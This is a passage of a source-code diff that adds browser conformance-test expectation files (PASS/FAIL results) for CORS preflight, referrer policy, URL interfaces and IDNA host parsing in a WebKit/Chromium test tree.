+++ b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-redirect.any.worker-expected.txt
@@ -0,0 +1,13 @@
+This is a testharness.js-based test.
+FAIL Redirection 301 on preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 301 after preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 302 on preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 302 after preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 303 on preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 303 after preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 307 on preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 307 after preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 308 on preflight failed assert_not_equals: got disallowed value undefined
+FAIL Redirection 308 after preflight failed assert_not_equals: got disallowed value undefined
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-referrer.any-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-referrer.any-expected.txt
new file mode 100644
index 0000000..d9bc638
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-referrer.any-expected.txt
@@ -0,0 +1,13 @@
+This is a testharness.js-based test.
+FAIL Referrer policy: no-referrer and referrer: default assert_equals: Preflight's referrer is correct expected "" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.html"
+FAIL Referrer policy: no-referrer and referrer: 'myreferrer' assert_equals: Preflight's referrer is correct expected "" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.html"
+PASS Referrer policy: "" and referrer: default 
+FAIL Referrer policy: "" and referrer: 'myreferrer' assert_equals: Preflight's referrer is correct expected "http://web-platform.test:8001/fetch/api/cors/myreferrer" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.html"
+FAIL Referrer policy: origin and referrer: default assert_equals: Preflight's referrer is correct expected "http://web-platform.test:8001/" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.html"
+FAIL Referrer policy: origin and referrer: 'myreferrer' assert_equals: Preflight's referrer is correct expected "http://web-platform.test:8001/" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.html"
+FAIL Referrer policy: origin-when-cross-origin and referrer: default assert_equals: Preflight's referrer is correct expected "http://web-platform.test:8001/" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.html"
+FAIL Referrer policy: origin-when-cross-origin and referrer: 'myreferrer' assert_equals: Preflight's referrer is correct expected "http://web-platform.test:8001/" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.html"
+PASS Referrer policy: unsafe-url and referrer: default 
+FAIL Referrer policy: unsafe-url and referrer: 'myreferrer' assert_equals: Preflight's referrer is correct expected "http://web-platform.test:8001/fetch/api/cors/myreferrer" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.html"
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-referrer.any.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-referrer.any.worker-expected.txt
new file mode 100644
index 0000000..f3c96a5f0
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-referrer.any.worker-expected.txt
@@ -0,0 +1,13 @@
+This is a testharness.js-based test.
+FAIL Referrer policy: no-referrer and referrer: default assert_equals: Preflight's referrer is correct expected "" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.worker.html"
+FAIL Referrer policy: no-referrer and referrer: 'myreferrer' assert_equals: Preflight's referrer is correct expected "" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.worker.html"
+FAIL Referrer policy: "" and referrer: default assert_equals: Preflight's referrer is correct expected "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.worker.js" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.worker.html"
+FAIL Referrer policy: "" and referrer: 'myreferrer' assert_equals: Preflight's referrer is correct expected "http://web-platform.test:8001/fetch/api/cors/myreferrer" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.worker.html"
+FAIL Referrer policy: origin and referrer: default assert_equals: Preflight's referrer is correct expected "http://web-platform.test:8001/" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.worker.html"
+FAIL Referrer policy: origin and referrer: 'myreferrer' assert_equals: Preflight's referrer is correct expected "http://web-platform.test:8001/" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.worker.html"
+FAIL Referrer policy: origin-when-cross-origin and referrer: default assert_equals: Preflight's referrer is correct expected "http://web-platform.test:8001/" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.worker.html"
+FAIL Referrer policy: origin-when-cross-origin and referrer: 'myreferrer' assert_equals: Preflight's referrer is correct expected "http://web-platform.test:8001/" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.worker.html"
+FAIL Referrer policy: unsafe-url and referrer: default assert_equals: Preflight's referrer is correct expected "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.worker.js" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.worker.html"
+FAIL Referrer policy: unsafe-url and referrer: 'myreferrer' assert_equals: Preflight's referrer is correct expected "http://web-platform.test:8001/fetch/api/cors/myreferrer" but got "http://web-platform.test:8001/fetch/api/cors/cors-preflight-referrer.any.worker.html"
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-star.any-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-star.any-expected.txt
new file mode 100644
index 0000000..ebd425cd
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-star.any-expected.txt
@@ -0,0 +1,11 @@
+This is a testharness.js-based test.
+PASS CORS that succeeds with credentials: false; method: GET (allowed: get); header: X-Test,1 (allowed: x-test) 
+FAIL CORS that succeeds with credentials: false; method: SUPER (allowed: *); header: X-Test,1 (allowed: x-test) promise_test: Unhandled rejection with value: object "TypeError: Failed to fetch"
+FAIL CORS that succeeds with credentials: false; method: OK (allowed: *); header: X-Test,1 (allowed: *) promise_test: Unhandled rejection with value: object "TypeError: Failed to fetch"
+PASS CORS that fails with credentials: true; method: OK (allowed: *); header: X-Test,1 (allowed: *) 
+PASS CORS that fails with credentials: true; method: PUT (allowed: *); header: undefined (allowed: ) 
+PASS CORS that fails with credentials: true; method: PUT (allowed: put); header: undefined (allowed: *) 
+PASS CORS that fails with credentials: true; method: GET (allowed: get); header: X-Test,1 (allowed: *) 
+PASS CORS that fails with credentials: true; method: GET (allowed: *); header: X-Test,1 (allowed: *) 
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-star.any.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-star.any.worker-expected.txt
new file mode 100644
index 0000000..ebd425cd
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/fetch/api/cors/cors-preflight-star.any.worker-expected.txt
@@ -0,0 +1,11 @@
+This is a testharness.js-based test.
+PASS CORS that succeeds with credentials: false; method: GET (allowed: get); header: X-Test,1 (allowed: x-test) 
+FAIL CORS that succeeds with credentials: false; method: SUPER (allowed: *); header: X-Test,1 (allowed: x-test) promise_test: Unhandled rejection with value: object "TypeError: Failed to fetch"
+FAIL CORS that succeeds with credentials: false; method: OK (allowed: *); header: X-Test,1 (allowed: *) promise_test: Unhandled rejection with value: object "TypeError: Failed to fetch"
+PASS CORS that fails with credentials: true; method: OK (allowed: *); header: X-Test,1 (allowed: *) 
+PASS CORS that fails with credentials: true; method: PUT (allowed: *); header: undefined (allowed: ) 
+PASS CORS that fails with credentials: true; method: PUT (allowed: put); header: undefined (allowed: *) 
+PASS CORS that fails with credentials: true; method: GET (allowed: get); header: X-Test,1 (allowed: *) 
+PASS CORS that fails with credentials: true; method: GET (allowed: *); header: X-Test,1 (allowed: *) 
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/html/dom/interfaces.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/html/dom/interfaces.worker-expected.txt
new file mode 100644
index 0000000..7d3c1d1
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/html/dom/interfaces.worker-expected.txt
@@ -0,0 +1,26 @@
+This is a testharness.js-based test.
+FAIL Test driver promise_test: Unhandled rejection with value: object "Unrecognised tokens, line 1 (tokens: '{"error": {')
+[
+    {
+        "type": "other",
+        "value": "{"
+    },
+    {
+        "type": "string",
+        "value": "\"error\""
+    },
+    {
+        "type": "other",
+        "value": ":"
+    },
+    {
+        "type": "whitespace",
+        "value": " "
+    },
+    {
+        "type": "other",
+        "value": "{"
+    }
+]"
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/service-workers/service-worker/register-wait-forever-in-install-worker.https-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/service-workers/service-worker/register-wait-forever-in-install-worker.https-expected.txt
deleted file mode 100644
index 82bfd94..0000000
--- a/third_party/WebKit/LayoutTests/external/wpt/service-workers/service-worker/register-wait-forever-in-install-worker.https-expected.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-This is a testharness.js-based test.
-FAIL register worker that calls waitUntil with a promise that never resolves in oninstall promise_test: Unhandled rejection with value: object "TypeError: Cannot read property 'scriptURL' of null"
-Harness: the test ran to completion.
-
diff --git a/third_party/WebKit/LayoutTests/external/wpt/storage/interfaces.worker.js b/third_party/WebKit/LayoutTests/external/wpt/storage/interfaces.https.worker.js
similarity index 100%
rename from third_party/WebKit/LayoutTests/external/wpt/storage/interfaces.worker.js
rename to third_party/WebKit/LayoutTests/external/wpt/storage/interfaces.https.worker.js
diff --git a/third_party/WebKit/LayoutTests/external/wpt/url/historical.any-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/url/historical.any-expected.txt
new file mode 100644
index 0000000..86b0941
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/url/historical.any-expected.txt
@@ -0,0 +1,10 @@
+This is a testharness.js-based test.
+PASS searchParams on location object 
+PASS <a> and <area>.searchParams should be undefined 
+FAIL Setting URL's href attribute and base URLs assert_throws: function "function () {
+    url.href = "./bar";
+  }" did not throw
+PASS URL.domainToASCII should be undefined 
+PASS URL.domainToUnicode should be undefined 
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/url/historical.any.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/url/historical.any.worker-expected.txt
new file mode 100644
index 0000000..ba3e68c
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/url/historical.any.worker-expected.txt
@@ -0,0 +1,9 @@
+This is a testharness.js-based test.
+PASS searchParams on location object 
+FAIL Setting URL's href attribute and base URLs assert_throws: function "function () {
+    url.href = "./bar";
+  }" did not throw
+PASS URL.domainToASCII should be undefined 
+PASS URL.domainToUnicode should be undefined 
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/url/interfaces.any-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/url/interfaces.any-expected.txt
new file mode 100644
index 0000000..4c167d6
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/url/interfaces.any-expected.txt
@@ -0,0 +1,78 @@
+This is a testharness.js-based test.
+Found 74 tests; 72 PASS, 2 FAIL, 0 TIMEOUT, 0 NOTRUN.
+PASS URL interface: existence and properties of interface object 
+PASS URL interface object length 
+PASS URL interface object name 
+PASS URL interface: legacy window alias 
+PASS URL interface: existence and properties of interface prototype object 
+PASS URL interface: existence and properties of interface prototype object's "constructor" property 
+PASS URL interface: attribute href 
+PASS URL interface: stringifier 
+PASS URL interface: attribute origin 
+PASS URL interface: attribute protocol 
+PASS URL interface: attribute username 
+PASS URL interface: attribute password 
+PASS URL interface: attribute host 
+PASS URL interface: attribute hostname 
+PASS URL interface: attribute port 
+PASS URL interface: attribute pathname 
+PASS URL interface: attribute search 
+PASS URL interface: attribute searchParams 
+PASS URL interface: attribute hash 
+FAIL URL interface: operation toJSON() assert_own_property: interface prototype object missing non-static operation expected property "toJSON" missing
+PASS URL must be primary interface of new URL("http://foo") 
+PASS Stringification of new URL("http://foo") 
+PASS URL interface: new URL("http://foo") must inherit property "href" with the proper type (0) 
+PASS URL interface: new URL("http://foo") must inherit property "origin" with the proper type (1) 
+PASS URL interface: new URL("http://foo") must inherit property "protocol" with the proper type (2) 
+PASS URL interface: new URL("http://foo") must inherit property "username" with the proper type (3) 
+PASS URL interface: new URL("http://foo") must inherit property "password" with the proper type (4) 
+PASS URL interface: new URL("http://foo") must inherit property "host" with the proper type (5) 
+PASS URL interface: new URL("http://foo") must inherit property "hostname" with the proper type (6) 
+PASS URL interface: new URL("http://foo") must inherit property "port" with the proper type (7) 
+PASS URL interface: new URL("http://foo") must inherit property "pathname" with the proper type (8) 
+PASS URL interface: new URL("http://foo") must inherit property "search" with the proper type (9) 
+PASS URL interface: new URL("http://foo") must inherit property "searchParams" with the proper type (10) 
+PASS URL interface: new URL("http://foo") must inherit property "hash" with the proper type (11) 
+FAIL URL interface: new URL("http://foo") must inherit property "toJSON" with the proper type (12) assert_inherits: property "toJSON" not found in prototype chain
+PASS URLSearchParams interface: existence and properties of interface object 
+PASS URLSearchParams interface object length 
+PASS URLSearchParams interface object name 
+PASS URLSearchParams interface: existence and properties of interface prototype object 
+PASS URLSearchParams interface: existence and properties of interface prototype object's "constructor" property 
+PASS URLSearchParams interface: operation append(USVString,USVString) 
+PASS URLSearchParams interface: operation delete(USVString) 
+PASS URLSearchParams interface: operation get(USVString) 
+PASS URLSearchParams interface: operation getAll(USVString) 
+PASS URLSearchParams interface: operation has(USVString) 
+PASS URLSearchParams interface: operation set(USVString,USVString) 
+PASS URLSearchParams interface: operation sort() 
+PASS Testing Symbol.iterator property of iterable interface URLSearchParams 
+PASS Testing pair iterable interface URLSearchParams 
+PASS URLSearchParams interface: stringifier 
+PASS URLSearchParams interface: operation entries() 
+PASS URLSearchParams interface: operation keys() 
+PASS URLSearchParams interface: operation values() 
+PASS URLSearchParams interface: operation forEach(function,any) 
+PASS URLSearchParams must be primary interface of new URLSearchParams("hi=there&thank=you") 
+PASS Stringification of new URLSearchParams("hi=there&thank=you") 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "append" with the proper type (0) 
+PASS URLSearchParams interface: calling append(USVString,USVString) on new URLSearchParams("hi=there&thank=you") with too few arguments must throw TypeError 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "delete" with the proper type (1) 
+PASS URLSearchParams interface: calling delete(USVString) on new URLSearchParams("hi=there&thank=you") with too few arguments must throw TypeError 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "get" with the proper type (2) 
+PASS URLSearchParams interface: calling get(USVString) on new URLSearchParams("hi=there&thank=you") with too few arguments must throw TypeError 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "getAll" with the proper type (3) 
+PASS URLSearchParams interface: calling getAll(USVString) on new URLSearchParams("hi=there&thank=you") with too few arguments must throw TypeError 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "has" with the proper type (4) 
+PASS URLSearchParams interface: calling has(USVString) on new URLSearchParams("hi=there&thank=you") with too few arguments must throw TypeError 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "set" with the proper type (5) 
+PASS URLSearchParams interface: calling set(USVString,USVString) on new URLSearchParams("hi=there&thank=you") with too few arguments must throw TypeError 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "sort" with the proper type (6) 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "entries" with the proper type (9) 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "keys" with the proper type (10) 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "values" with the proper type (11) 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "forEach" with the proper type (12) 
+PASS URLSearchParams interface: calling forEach(function,any) on new URLSearchParams("hi=there&thank=you") with too few arguments must throw TypeError 
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/url/interfaces.any.worker-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/url/interfaces.any.worker-expected.txt
new file mode 100644
index 0000000..4c167d6
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/url/interfaces.any.worker-expected.txt
@@ -0,0 +1,78 @@
+This is a testharness.js-based test.
+Found 74 tests; 72 PASS, 2 FAIL, 0 TIMEOUT, 0 NOTRUN.
+PASS URL interface: existence and properties of interface object 
+PASS URL interface object length 
+PASS URL interface object name 
+PASS URL interface: legacy window alias 
+PASS URL interface: existence and properties of interface prototype object 
+PASS URL interface: existence and properties of interface prototype object's "constructor" property 
+PASS URL interface: attribute href 
+PASS URL interface: stringifier 
+PASS URL interface: attribute origin 
+PASS URL interface: attribute protocol 
+PASS URL interface: attribute username 
+PASS URL interface: attribute password 
+PASS URL interface: attribute host 
+PASS URL interface: attribute hostname 
+PASS URL interface: attribute port 
+PASS URL interface: attribute pathname 
+PASS URL interface: attribute search 
+PASS URL interface: attribute searchParams 
+PASS URL interface: attribute hash 
+FAIL URL interface: operation toJSON() assert_own_property: interface prototype object missing non-static operation expected property "toJSON" missing
+PASS URL must be primary interface of new URL("http://foo") 
+PASS Stringification of new URL("http://foo") 
+PASS URL interface: new URL("http://foo") must inherit property "href" with the proper type (0) 
+PASS URL interface: new URL("http://foo") must inherit property "origin" with the proper type (1) 
+PASS URL interface: new URL("http://foo") must inherit property "protocol" with the proper type (2) 
+PASS URL interface: new URL("http://foo") must inherit property "username" with the proper type (3) 
+PASS URL interface: new URL("http://foo") must inherit property "password" with the proper type (4) 
+PASS URL interface: new URL("http://foo") must inherit property "host" with the proper type (5) 
+PASS URL interface: new URL("http://foo") must inherit property "hostname" with the proper type (6) 
+PASS URL interface: new URL("http://foo") must inherit property "port" with the proper type (7) 
+PASS URL interface: new URL("http://foo") must inherit property "pathname" with the proper type (8) 
+PASS URL interface: new URL("http://foo") must inherit property "search" with the proper type (9) 
+PASS URL interface: new URL("http://foo") must inherit property "searchParams" with the proper type (10) 
+PASS URL interface: new URL("http://foo") must inherit property "hash" with the proper type (11) 
+FAIL URL interface: new URL("http://foo") must inherit property "toJSON" with the proper type (12) assert_inherits: property "toJSON" not found in prototype chain
+PASS URLSearchParams interface: existence and properties of interface object 
+PASS URLSearchParams interface object length 
+PASS URLSearchParams interface object name 
+PASS URLSearchParams interface: existence and properties of interface prototype object 
+PASS URLSearchParams interface: existence and properties of interface prototype object's "constructor" property 
+PASS URLSearchParams interface: operation append(USVString,USVString) 
+PASS URLSearchParams interface: operation delete(USVString) 
+PASS URLSearchParams interface: operation get(USVString) 
+PASS URLSearchParams interface: operation getAll(USVString) 
+PASS URLSearchParams interface: operation has(USVString) 
+PASS URLSearchParams interface: operation set(USVString,USVString) 
+PASS URLSearchParams interface: operation sort() 
+PASS Testing Symbol.iterator property of iterable interface URLSearchParams 
+PASS Testing pair iterable interface URLSearchParams 
+PASS URLSearchParams interface: stringifier 
+PASS URLSearchParams interface: operation entries() 
+PASS URLSearchParams interface: operation keys() 
+PASS URLSearchParams interface: operation values() 
+PASS URLSearchParams interface: operation forEach(function,any) 
+PASS URLSearchParams must be primary interface of new URLSearchParams("hi=there&thank=you") 
+PASS Stringification of new URLSearchParams("hi=there&thank=you") 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "append" with the proper type (0) 
+PASS URLSearchParams interface: calling append(USVString,USVString) on new URLSearchParams("hi=there&thank=you") with too few arguments must throw TypeError 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "delete" with the proper type (1) 
+PASS URLSearchParams interface: calling delete(USVString) on new URLSearchParams("hi=there&thank=you") with too few arguments must throw TypeError 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "get" with the proper type (2) 
+PASS URLSearchParams interface: calling get(USVString) on new URLSearchParams("hi=there&thank=you") with too few arguments must throw TypeError 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "getAll" with the proper type (3) 
+PASS URLSearchParams interface: calling getAll(USVString) on new URLSearchParams("hi=there&thank=you") with too few arguments must throw TypeError 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "has" with the proper type (4) 
+PASS URLSearchParams interface: calling has(USVString) on new URLSearchParams("hi=there&thank=you") with too few arguments must throw TypeError 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "set" with the proper type (5) 
+PASS URLSearchParams interface: calling set(USVString,USVString) on new URLSearchParams("hi=there&thank=you") with too few arguments must throw TypeError 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "sort" with the proper type (6) 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "entries" with the proper type (9) 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "keys" with the proper type (10) 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "values" with the proper type (11) 
+PASS URLSearchParams interface: new URLSearchParams("hi=there&thank=you") must inherit property "forEach" with the proper type (12) 
+PASS URLSearchParams interface: calling forEach(function,any) on new URLSearchParams("hi=there&thank=you") with too few arguments must throw TypeError 
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/external/wpt/url/toascii.window-expected.txt b/third_party/WebKit/LayoutTests/external/wpt/url/toascii.window-expected.txt
new file mode 100644
index 0000000..78d1c7e
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/external/wpt/url/toascii.window-expected.txt
@@ -0,0 +1,302 @@
+This is a testharness.js-based test.
+Found 298 tests; 122 PASS, 176 FAIL, 0 TIMEOUT, 0 NOTRUN.
+PASS Loading data… 
+PASS aa-- (using URL) 
+PASS aa-- (using URL.host) 
+PASS aa-- (using URL.hostname) 
+PASS aa-- (using <a>) 
+PASS aa-- (using <a>.host) 
+PASS aa-- (using <a>.hostname) 
+PASS aa-- (using <area>) 
+PASS aa-- (using <area>.host) 
+PASS aa-- (using <area>.hostname) 
+FAIL a†-- (using URL) Failed to construct 'URL': Invalid URL
+FAIL a†-- (using URL.host) assert_equals: expected "xn--a---kp0a" but got ""
+FAIL a†-- (using URL.hostname) assert_equals: expected "xn--a---kp0a" but got ""
+FAIL a†-- (using <a>) Failed to construct 'URL': Invalid URL
+FAIL a†-- (using <a>.host) assert_equals: expected "xn--a---kp0a" but got ""
+FAIL a†-- (using <a>.hostname) assert_equals: expected "xn--a---kp0a" but got ""
+FAIL a†-- (using <area>) Failed to construct 'URL': Invalid URL
+FAIL a†-- (using <area>.host) assert_equals: expected "xn--a---kp0a" but got ""
+FAIL a†-- (using <area>.hostname) assert_equals: expected "xn--a---kp0a" but got ""
+PASS ab--c (using URL) 
+PASS ab--c (using URL.host) 
+PASS ab--c (using URL.hostname) 
+PASS ab--c (using <a>) 
+PASS ab--c (using <a>.host) 
+PASS ab--c (using <a>.hostname) 
+PASS ab--c (using <area>) 
+PASS ab--c (using <area>.host) 
+PASS ab--c (using <area>.hostname) 
+PASS -x (using URL) 
+PASS -x (using URL.host) 
+PASS -x (using URL.hostname) 
+PASS -x (using <a>) 
+PASS -x (using <a>.host) 
+PASS -x (using <a>.hostname) 
+PASS -x (using <area>) 
+PASS -x (using <area>.host) 
+PASS -x (using <area>.hostname) 
+FAIL -† (using URL) Failed to construct 'URL': Invalid URL
+FAIL -† (using URL.host) assert_equals: expected "xn----xhn" but got ""
+FAIL -† (using URL.hostname) assert_equals: expected "xn----xhn" but got ""
+FAIL -† (using <a>) Failed to construct 'URL': Invalid URL
+FAIL -† (using <a>.host) assert_equals: expected "xn----xhn" but got ""
+FAIL -† (using <a>.hostname) assert_equals: expected "xn----xhn" but got ""
+FAIL -† (using <area>) Failed to construct 'URL': Invalid URL
+FAIL -† (using <area>.host) assert_equals: expected "xn----xhn" but got ""
+FAIL -† (using <area>.hostname) assert_equals: expected "xn----xhn" but got ""
+PASS -x.xn--nxa (using URL) 
+PASS -x.xn--nxa (using URL.host) 
+PASS -x.xn--nxa (using URL.hostname) 
+PASS -x.xn--nxa (using <a>) 
+PASS -x.xn--nxa (using <a>.host) 
+PASS -x.xn--nxa (using <a>.hostname) 
+PASS -x.xn--nxa (using <area>) 
+PASS -x.xn--nxa (using <area>.host) 
+PASS -x.xn--nxa (using <area>.hostname) 
+FAIL -x.β (using URL) Failed to construct 'URL': Invalid URL
+FAIL -x.β (using URL.host) assert_equals: expected "-x.xn--nxa" but got ""
+FAIL -x.β (using URL.hostname) assert_equals: expected "-x.xn--nxa" but got ""
+FAIL -x.β (using <a>) Failed to construct 'URL': Invalid URL
+FAIL -x.β (using <a>.host) assert_equals: expected "-x.xn--nxa" but got ""
+FAIL -x.β (using <a>.hostname) assert_equals: expected "-x.xn--nxa" but got ""
+FAIL -x.β (using <area>) Failed to construct 'URL': Invalid URL
+FAIL -x.β (using <area>.host) assert_equals: expected "-x.xn--nxa" but got ""
+FAIL -x.β (using <area>.hostname) assert_equals: expected "-x.xn--nxa" but got ""
+PASS x-.xn--nxa (using URL) 
+PASS x-.xn--nxa (using URL.host) 
+PASS x-.xn--nxa (using URL.hostname) 
+PASS x-.xn--nxa (using <a>) 
+PASS x-.xn--nxa (using <a>.host) 
+PASS x-.xn--nxa (using <a>.hostname) 
+PASS x-.xn--nxa (using <area>) 
+PASS x-.xn--nxa (using <area>.host) 
+PASS x-.xn--nxa (using <area>.hostname) 
+FAIL x-.β (using URL) Failed to construct 'URL': Invalid URL
+FAIL x-.β (using URL.host) assert_equals: expected "x-.xn--nxa" but got ""
+FAIL x-.β (using URL.hostname) assert_equals: expected "x-.xn--nxa" but got ""
+FAIL x-.β (using <a>) Failed to construct 'URL': Invalid URL
+FAIL x-.β (using <a>.host) assert_equals: expected "x-.xn--nxa" but got ""
+FAIL x-.β (using <a>.hostname) assert_equals: expected "x-.xn--nxa" but got ""
+FAIL x-.β (using <area>) Failed to construct 'URL': Invalid URL
+FAIL x-.β (using <area>.host) assert_equals: expected "x-.xn--nxa" but got ""
+FAIL x-.β (using <area>.hostname) assert_equals: expected "x-.xn--nxa" but got ""
+PASS x..xn--nxa (using URL) 
+PASS x..xn--nxa (using URL.host) 
+PASS x..xn--nxa (using URL.hostname) 
+PASS x..xn--nxa (using <a>) 
+PASS x..xn--nxa (using <a>.host) 
+PASS x..xn--nxa (using <a>.hostname) 
+PASS x..xn--nxa (using <area>) 
+PASS x..xn--nxa (using <area>.host) 
+PASS x..xn--nxa (using <area>.hostname) 
+FAIL x..β (using URL) Failed to construct 'URL': Invalid URL
+FAIL x..β (using URL.host) assert_equals: expected "x..xn--nxa" but got ""
+FAIL x..β (using URL.hostname) assert_equals: expected "x..xn--nxa" but got ""
+FAIL x..β (using <a>) Failed to construct 'URL': Invalid URL
+FAIL x..β (using <a>.host) assert_equals: expected "x..xn--nxa" but got ""
+FAIL x..β (using <a>.hostname) assert_equals: expected "x..xn--nxa" but got ""
+FAIL x..β (using <area>) Failed to construct 'URL': Invalid URL
+FAIL x..β (using <area>.host) assert_equals: expected "x..xn--nxa" but got ""
+FAIL x..β (using <area>.hostname) assert_equals: expected "x..xn--nxa" but got ""
+FAIL xn--a (using URL) assert_throws: function "() => makeURL("url", hostTest.input)" did not throw
+FAIL xn--a (using URL.host) assert_equals: expected "x" but got "xn--a"
+FAIL xn--a (using URL.hostname) assert_equals: expected "x" but got "xn--a"
+FAIL xn--a (using <a>) assert_equals: expected "" but got "xn--a"
+FAIL xn--a (using <a>.host) assert_equals: expected "x" but got "xn--a"
+FAIL xn--a (using <a>.hostname) assert_equals: expected "x" but got "xn--a"
+FAIL xn--a (using <area>) assert_equals: expected "" but got "xn--a"
+FAIL xn--a (using <area>.host) assert_equals: expected "x" but got "xn--a"
+FAIL xn--a (using <area>.hostname) assert_equals: expected "x" but got "xn--a"
+FAIL xn--a.xn--nxa (using URL) assert_throws: function "() => makeURL("url", hostTest.input)" did not throw
+FAIL xn--a.xn--nxa (using URL.host) assert_equals: expected "x" but got "xn--a.xn--nxa"
+FAIL xn--a.xn--nxa (using URL.hostname) assert_equals: expected "x" but got "xn--a.xn--nxa"
+FAIL xn--a.xn--nxa (using <a>) assert_equals: expected "" but got "xn--a.xn--nxa"
+FAIL xn--a.xn--nxa (using <a>.host) assert_equals: expected "x" but got "xn--a.xn--nxa"
+FAIL xn--a.xn--nxa (using <a>.hostname) assert_equals: expected "x" but got "xn--a.xn--nxa"
+FAIL xn--a.xn--nxa (using <area>) assert_equals: expected "" but got "xn--a.xn--nxa"
+FAIL xn--a.xn--nxa (using <area>.host) assert_equals: expected "x" but got "xn--a.xn--nxa"
+FAIL xn--a.xn--nxa (using <area>.hostname) assert_equals: expected "x" but got "xn--a.xn--nxa"
+PASS xn--a.β (using URL) 
+FAIL xn--a.β (using URL.host) assert_equals: expected "x" but got ""
+FAIL xn--a.β (using URL.hostname) assert_equals: expected "x" but got ""
